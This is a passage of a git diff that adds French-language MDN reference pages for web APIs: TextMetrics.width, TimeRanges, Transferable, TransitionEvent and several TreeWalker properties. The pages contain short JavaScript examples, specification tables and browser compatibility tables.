+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>actualBoundingBoxLeft</code>,<br>
+    <code>actualBoundingBoxRight</code>,<br>
+    <code>fontBoundingBoxAscent</code>,<br>
+    <code>fontBoundingBoxDescent</code>,<br>
+    <code>actualBoundingBoxAscent</code>,<br>
+    <code>actualBoundingBoxDescent</code>,<br>
+    <code>emHeightAscent</code>,<br>
+    <code>emHeightDescent</code>,<br>
+    <code>hangingBaseline</code>,<br>
+    <code>alphabeticBaseline</code>,<br>
+    <code>ideographicBaseline</code></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td><code>actualBoundingBoxLeft</code>,<br>
+    <code>actualBoundingBoxRight</code>,<br>
+    <code>fontBoundingBoxAscent</code>,<br>
+    <code>fontBoundingBoxDescent</code>,<br>
+    <code>actualBoundingBoxAscent</code>,<br>
+    <code>actualBoundingBoxDescent</code>,<br>
+    <code>emHeightAscent</code>,<br>
+    <code>emHeightDescent</code>,<br>
+    <code>hangingBaseline</code>,<br>
+    <code>alphabeticBaseline</code>,<br>
+    <code>ideographicBaseline</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Pour activer les métriques de texte avancées, positionner l'indiquateur <code>ExperimentalCanvasFeatures</code> à <code>true</code>.</p>
+
+<p>[2] Gecko n'implémente pas encore cette fonctionnalité. Voir le {{bug(1102584)}} apparenté.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La méthode de création dans {{domxref("CanvasRenderingContext2D")}}.</li>
+ <li>L'élément {{HTMLElement("canvas")}} et son interface associée, {{domxref("HTMLCanvasElement")}}</li>
+</ul>
diff --git a/files/fr/web/api/textmetrics/width/index.html b/files/fr/web/api/textmetrics/width/index.html
new file mode 100644
index 0000000000..b8eca27364
--- /dev/null
+++ b/files/fr/web/api/textmetrics/width/index.html
@@ -0,0 +1,111 @@
+---
+title: TextMetrics.width
+slug: Web/API/TextMetrics/width
+tags:
+  - API
+  - Canevas
+  - Propriété
+  - Référence(2)
+  - TextMetrics
+translation_of: Web/API/TextMetrics/width
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p>La propriété en lecture seule <strong>TextMetrics.width</strong> contient en pixels CSS la largeur d'avance du texte (la largeur de la boîte de ligne).</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>readonly <em>metrics</em></var>.width;</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Étant donné cet élément {{HTMLElement("canvas")}} :</p>
+
+<pre class="brush: html">&lt;canvas id="canevas"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>vous pouvez obtenir un objet {{domxref("TextMetrics")}} en utilisant le code suivant :</p>
+
+<pre class="brush: js;highlight:[5]">var canvas = document.getElementById("canevas");
+var ctx = canvas.getContext("2d");
+
+var texte = ctx.measureText("foo"); // objet TextMetrics
+texte.width; // 16;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-textmetrics-width", "TextMetrics.width")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("TextMetrics")}}</li>
+</ul>
diff --git a/files/fr/web/api/timeranges/index.html b/files/fr/web/api/timeranges/index.html
new file mode 100644
index 0000000000..706c1a6757
--- /dev/null
+++ b/files/fr/web/api/timeranges/index.html
@@ -0,0 +1,62 @@
+---
+title: TimeRanges
+slug: Web/API/TimeRanges
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - NeedsBrowserCompatibility
+  - NeedsMarkupWork
+  - NeedsNewLayout
+  - NeedsSpecTable
+  - Reference
+  - Référence(2)
+translation_of: Web/API/TimeRanges
+---
+<p>{{ APIRef }}</p>
+
+<p>{{ gecko_minversion_header("2.0") }}</p>
+
+<p>L'interface TimeRanges est utilisée pour représenter un ensemble de plages de temps, principalement dans le but de savoir quelles portions du média ont été mises en mémoire tampon lors du chargement avec les éléments {{ HTMLElement("audio") }} et {{ HTMLElement("video") }}.</p>
+
+<p>Un objet TimeRanges comprend une ou plusieurs plages de temps, chacune définie par une position de début et de fin. On récupère ces valeurs en utilisant les méthodes start() et end(), en passant en paramètre l'index de la plage de temps que l'on souhaite récupérer.</p>
+
+<p>Le terme "<a class="external" href="http://www.w3.org/TR/html5/the-iframe-element.html#normalized-timeranges-object" title="http://www.w3.org/TR/html5/the-iframe-element.html#normalized-timeranges-object">normalized TimeRanges object</a>" (objet TimeRanges normalisé) indique que les plages dans un tel objet sont ordonnées, ne se chevauchent pas, ne sont pas vides, et ne se touchent pas (les plages adjacentes sont encapsulées dans une plage plus grande).</p>
+
+<h3 id="Properties" name="Properties">Propriétés</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Nom</th>
+   <th>Description</th>
+   <th>Type retourné</th>
+   <th>Disponibilité</th>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/TimeRanges.length" title="En/DOM/TimeRanges.length"><code>TimeRanges.length</code></a></td>
+   <td>
+    <p>Le nombre de plages de temps contenues dans l'objet TimeRanges. <strong>Lecture seule</strong>.</p>
+   </td>
+   <td>
+    <p>unsigned long</p>
+   </td>
+   <td>?</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Methods" name="Methods">Méthodes</h3>
+
+<dl>
+ <dt>{{ domxref("TimeRanges.start") }}</dt>
+ <dd>Retourne la position de début de la plage de temps. En paramètre, l'index de la plage de temps souhaitée.</dd>
+ <dt>{{ domxref("TimeRanges.end") }}</dt>
+ <dd>Retourne la position de fin de la plage de temps. En paramètre, l'index de la plage de temps souhaitée.</dd>
+</dl>
+
+<h3 id="Spécification">Spécification</h3>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#timeranges" title="http://www.whatwg.org/specs/web-apps/current-work/#timeranges">WHATWG Working Draft</a></li>
+</ul>
diff --git a/files/fr/web/api/transferable/index.html b/files/fr/web/api/transferable/index.html
new file mode 100644
index 0000000000..2b900b05cb
--- /dev/null
+++ b/files/fr/web/api/transferable/index.html
@@ -0,0 +1,68 @@
+---
+title: Transferable
+slug: Web/API/Transferable
+tags:
+  - API
+  - Interface
+  - Reference
+translation_of: Web/API/Transferable
+---
+<p>{{ ApiRef("HTML DOM") }}</p>
+
+<p>L'interface <code><strong>Transferable</strong></code> représente un objet qui peut être transféré entre différents contextes d'exécution, comme un thread principal et des web workers.</p>
+
+<p>C'est une interface abstraite et il n'y a aucun objet de ce type. Il ne définit pas non plus ni propriété ni méthode : c'est avant tout une étiquette pour signaler les objets qui peuvent être utilisés dans des conditions spécifiques, comme la possibilité d'être transféré à un {{domxref("Worker")}} au moyen de la méthode {{domxref("Worker.postMessage()")}}.</p>
+
+<div class="blockIndicator note">
+<p><strong>Remarque:</strong> L'interface <code>Transferable</code> n'existe plus pour longtemps. La fonctionnalité des objets <code>Transferable</code> existe toujours, cependant, l'inpléméentation est à un niveau plus fondamentale (techniquement parlant, utilisant l'attribut étendu <code>[Transferable]</code> {{Glossary("WebIDL")}})</p>
+</div>
+
+<p>Les interfaces {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}}, {{domxref("ImageBitmap")}} et {{domxref("OffscreenCanvas")}} l'implémentent.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>L'interface </em><em><code>Transferable</code></em><em> n'implémente ou n'hérite d'aucune propriété spécifique.</em></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>L'interface </em><em><code>Transferable</code></em><em> n'implémente ou n'hérite d'aucune méthode spécifique.</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "infrastructure.html#transferable-objects", "Transferable")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>
+    <p>Remplace l'interface <code>Transferable</code> avec l'attribut étendue <code>[Transferable]</code> Web IDL.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "infrastructure.html#transferable-objects", "Transferable")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.Transferable")}}</p>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les interfaces qui l'implémentent : {{jsxref("ArrayBuffer")}}, {{domxref("MessagePort")}} et {{domxref("ImageBitmap")}}.</li>
+</ul>
diff --git a/files/fr/web/api/transitionevent/index.html b/files/fr/web/api/transitionevent/index.html
new file mode 100644
index 0000000000..8a156255f3
--- /dev/null
+++ b/files/fr/web/api/transitionevent/index.html
@@ -0,0 +1,178 @@
+---
+title: TransitionEvent
+slug: Web/API/TransitionEvent
+translation_of: Web/API/TransitionEvent
+---
+<p>{{APIRef("CSSOM")}} {{SeeCompatTable}}</p>
+
+<p>L' <code><strong>Transition</strong></code><strong><code>Event</code></strong>interface représente des événements fournissant des informations relatives aux <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions" title="/ En-US / docs / Web / Guide / CSS / Using_CSS_transitions">transitions</a> .</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite également des propriétés de son parent {{domxref("Event")}}</em> .</p>
+
+<dl>
+ <dt>{{domxref("TransitionEvent.propertyName")}} {{readonlyInline}}</dt>
+ <dd>Est-ce qu'un {{domxref("DOMString")}} contient le nom de la propriété CSS associée à la transition.</dd>
+ <dt>{{domxref("TransitionEvent.elapsedTime")}} {{readonlyInline}}</dt>
+ <dd>Est- <code>float</code>ce que la durée de l'exécution est en cours, en secondes, lorsque cet événement a été déclenché. Cette valeur n'est pas affectée par la propriété {{cssxref ("transition-delay")}}.</dd>
+ <dt>{{domxref("TransitionEvent.pseudoElement")}} {{readonlyInline}}</dt>
+ <dd>Est-ce qu'un {{domxref("DOMString")}}, commençant par <code>'::'</code>, contenant le nom du <a href="/en-US/docs/Web/CSS/Pseudo-elements" title="/ En-US / docs / Web / CSS / Pseudo-elements">pseudo-élément</a> sur lequel s'exécute l'animation. Si la transition ne s'exécute pas sur un pseudo-élément mais sur l'élément, une chaîne vide:<code>''</code><code>.</code></dd>
+</dl>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("TransitionEvent.TransitionEvent", "TransitionEvent ()")}}</dt>
+ <dd>Crée un <code>TransitionEvent</code>événement avec les paramètres donnés.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite également des propriétés de son parent {{domxref("Event")}}</em> .</p>
+
+<dl>
+ <dt>{{domxref("TransitionEvent.initTransitionEvent ()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Initialise un <code>TransitionEvent</code>créé en utilisant la méthode {{domxref("Document.createEvent ()")}} déconseillée.</dd>
+</dl>
+
+<h2 id="Caractéristiques">Caractéristiques</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName ('Transitions CSS3', '# Événements-TransitionEvent', 'TransitionEvent')}}</td>
+   <td>{{Spec2 ('Transitions CSS3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_du_navigateur">Compatibilité du navigateur</h2>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Constructor</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>initTransitionEvent()</code> {{non-standard_inline}}{{deprecated_inline}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}<br>
+    Removed in {{ CompatGeckoDesktop("23.0") }}</td>
+   <td>10.0</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>pseudoelement</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("2.0") }}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Constructor</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>initTransitionEvent()</code> {{non-standard_inline}}{{deprecated_inline}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}<br>
+    Removed in {{ CompatGeckoMobile("23.0") }}</td>
+   <td>10.0</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>pseudoelement</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Removal version unknown.</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">Utilisation des transitions CSS</a></li>
+ <li>Propriétés de CSS: {{cssxref ("transition")}}, {{cssxref ("transition-delay")}}, {{cssxref ("transition-duration")}}, {{cssxref ("transition-property") }}, {{Cssxref ("transition-timing-function")}}.</li>
+</ul>
diff --git a/files/fr/web/api/treewalker/currentnode/index.html b/files/fr/web/api/treewalker/currentnode/index.html
new file mode 100644
index 0000000000..a560d8b7db
--- /dev/null
+++ b/files/fr/web/api/treewalker/currentnode/index.html
@@ -0,0 +1,113 @@
+---
+title: TreeWalker.currentNode
+slug: Web/API/TreeWalker/currentNode
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Noeuds
+  - Propriété
+translation_of: Web/API/TreeWalker/currentNode
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La propriété <code><strong>TreeWalker.currentNode</strong></code> représente le {{domxref("Node")}} (<em>noeud</em>) sur lequel le {{domxref("TreeWalker")}} est actuellement pointé.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>node</em> = <em>treeWalker</em>.currentNode;
+<code><em>treeWalker</em></code>.currentNode = <em>node</em>;
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+root = treeWalker.currentNode; // l'élément racine car c'est le premier élément!
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-treewalker-currentnode', 'TreeWalker.currrentNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement de {{SpecName('DOM2 Traversal_Range')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker-currentNode', 'TreeWalker.currentNode')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("TreeWalker")}}.</li>
+</ul>
diff --git a/files/fr/web/api/treewalker/expandentityreferences/index.html b/files/fr/web/api/treewalker/expandentityreferences/index.html
new file mode 100644
index 0000000000..da1ee29383
--- /dev/null
+++ b/files/fr/web/api/treewalker/expandentityreferences/index.html
@@ -0,0 +1,115 @@
+---
+title: TreeWalker.expandEntityReferences
+slug: Web/API/TreeWalker/expandEntityReferences
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/TreeWalker/expandEntityReferences
+---
+<p>{{ APIRef("DOM") }}{{obsolete_header}}</p>
+
+<p>La propriété en lecture seule <code><strong>TreeWalker.expandEntityReferences</strong></code> renvoie un {{domxref("Boolean")}} (<em>booléen</em>) indiquant si les enfants des nœuds de référence d'entité sont visibles ou non pour le {{domxref("TreeWalker")}}.</p>
+
+<p>Si la valeur est <code>false</code> (<em>faux</em>), les enfants des nœuds de référence d'entité (ainsi que tous leurs descendants) sont rejetés. Cela a préséance sur la valeur de la méthode  {{domxref("TreeWalker.whatToShow")}} et du filtre associé.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>expand</em> = <em>treeWalker</em>.expandEntityReferences;
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+expand = treeWalker.expandEntityReferences;</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#treewalker', 'Treewalker')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Suppression de la spécification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker-expandEntityReferences', 'TreeWalker.expandEntityReferences')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}<br>
+    Removed in {{CompatGeckoDesktop("21")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}<br>
+    Removed in {{CompatGeckoMobile("21")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface à laquelle la propriété appartient : {{domxref("TreeWalker")}}.</li>
+</ul>
diff --git a/files/fr/web/api/treewalker/filter/index.html b/files/fr/web/api/treewalker/filter/index.html
new file mode 100644
index 0000000000..f4dcd86d30
--- /dev/null
+++ b/files/fr/web/api/treewalker/filter/index.html
@@ -0,0 +1,114 @@
+---
+title: TreeWalker.filter
+slug: Web/API/TreeWalker/filter
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/TreeWalker/filter
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La propriété en lecture seule <strong><code>TreeWalker.filter</code></strong> renvoie un {{domxref("NodeFilter")}} (<em>filtre de noeuds</em>) qui est l'objet de filtrage associé à {{domxref("TreeWalker")}}.</p>
+
+<p>Lors de la création du <code>TreeWalker</code>, l'objet filtre est transmis comme 3ème paramètre et sa méthode {{domxref("NodeFilter.acceptNode()")}} est appelée sur tous les noeuds pour déterminer s'il doit ou non l'accepter.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>nodeFilter</em> = <em>treeWalker</em>.filter;
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+nodeFilter = treeWalker.filter; // document.body dans ce cas
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-treewalker-filter', 'TreeWalker.filter')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement de {{SpecName('DOM2 Traversal_Range')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker-filter', 'TreeWalker.filter')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
